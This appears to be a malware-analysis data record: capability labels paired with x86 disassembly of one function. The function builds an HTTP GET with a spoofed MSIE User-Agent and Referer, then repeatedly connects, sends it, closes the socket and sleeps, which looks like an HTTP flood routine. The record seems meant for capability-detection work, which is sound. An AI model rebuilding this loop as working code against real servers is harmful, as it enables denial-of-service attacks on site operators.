Function at 0x10005c20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
sub esp, 0x390
push ebx
mov ebx, ecx
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
push esi
push edi
lea esi, [ebx + 5]
push str.http:__
push esi
call ebp
add esp, 8
test eax, eax
je 0x10005c55
mov edi, str.http:__
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
add esi, ecx
push 0x1000f850
push esi
call ebp
add esp, 8
test eax, eax
je 0x10005cc7
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x24]
push 0x1000f850
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.MSVCRT.dll_strcspn]
push esi
call edi
push eax
lea eax, [esp + 0x30]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push 0x1000f850
push esi
call edi
add esi, eax
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x60]
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
add esp, 0x1c
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jae 0x10005cfe
mov edi, 0x1000f850
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x44]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x210]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ax, word [ebx + 0xd0]
xor edx, edx
mov dword [esp + 0x14], edx
push eax
mov dword [esp + 0x1c], edx
mov word [esp + 0x18], 2
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], edx
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x24]
mov word [esp + 0x16], ax
push ecx
mov ecx, ebx
call fcn.10005f30
mov dl, byte [0x1000f980]
mov dword [esp + 0x18], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [ebx + 0xd4]
stosb byte es:[edi], al
mov al, byte [ebx + 4]
test al, al
jne 0x10005e67
mov ebp, dword [sym.imp.WS2_32.dll_socket]
jmp 0x10005d8a
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x44]
push esi
lea ecx, [esp + 0xac]
push eax
push ecx
call edi
mov eax, dword [ebx + 0xd8]
add esp, 0xc
inc esi
cmp esi, eax
mov dword [esp + 0x10], esi
jle 0x10005dbc
mov edx, dword [ebx + 0xd4]
mov dword [esp + 0x10], edx
mov eax, dword [ebx + 0xd0]
cmp eax, 0x50
jne 0x10005ded
lea eax, [esp + 0x24]
lea ecx, [esp + 0x24]
push eax
lea edx, [esp + 0xac]
push ecx
push edx
lea eax, [esp + 0x118]
push str.GET__s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.01__Windows_NT_5.0__MyIE_3.01_Cache_Control:_no_store__must_revalidate_r_nReferer:_http:___s_r_nConnection:_Close_r_n_r_n
push eax
call edi
add esp, 0x14
jmp 0x10005e12
lea ecx, [esp + 0x24]
lea edx, [esp + 0x24]
push ecx
push eax
lea eax, [esp + 0xb0]
push edx
push eax
lea ecx, [esp + 0x11c]
push str.GET__s_HTTP_1.1_r_nHost:__s:_d_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_5.01__Windows_NT_5.0__MyIE_3.01_Cache_Control:_no_store__must_revalidate_r_nReferer:_http:___s_r_nConnection:_Close_r_n_r_n
push ecx
call edi
add esp, 0x18
push 6
push 1
push 2
call ebp
lea edx, [esp + 0x14]
mov esi, eax
push 0x10
push edx
push esi
call dword [sym.imp.WS2_32.dll_connect]
lea edi, [esp + 0x10c]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x110]
push ecx
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [ebx + 4]
test al, al
je 0x10005d86
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x390
ret